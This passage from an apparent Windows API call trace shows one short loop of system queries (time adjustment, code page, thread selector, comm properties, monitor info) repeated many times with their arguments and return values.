lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.674] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.674] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.674] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.674] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.674] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.674] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.674] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.674] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.674] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.674] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.674] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.674] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.674] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.674] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.675] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.675] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.675] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.675] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.675] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.675] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.675] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.675] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.675] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.675] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.675] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.675] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.675] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.675] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.675] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.675] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.675] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.675] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.675] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.675] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.676] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.676] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.676] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.676] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.676] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.676] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.676] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.676] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.676] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.676] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.676] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.676] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.676] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.676] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.676] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.676] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.676] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.676] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.676] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.676] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.676] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.676] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.676] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.676] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.676] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.677] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.677] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.677] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.677] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.677] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.677] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.677] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.677] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.677] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.677] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.677] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.677] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.677] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.677] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.677] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.677] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.677] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.677] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.677] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.677] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.677] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.677] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.677] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.678] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.678] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.678] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.678] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.678] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.678] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.678] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.678] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.678] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.678] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.678] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.678] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.678] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.678] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.678] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.679] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.679] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.679] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.679] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.679] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.679] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.679] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.679] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.679] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.679] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.679] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.679] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.679] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.679] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.679] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.679] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.679] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.679] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.679] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.679] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.679] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.679] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.679] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.679] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.679] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.680] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.680] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.680] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.680] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.680] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.680] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.680] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.680] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.680] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.680] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.680] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.680] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.680] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.680] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.680] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.680] 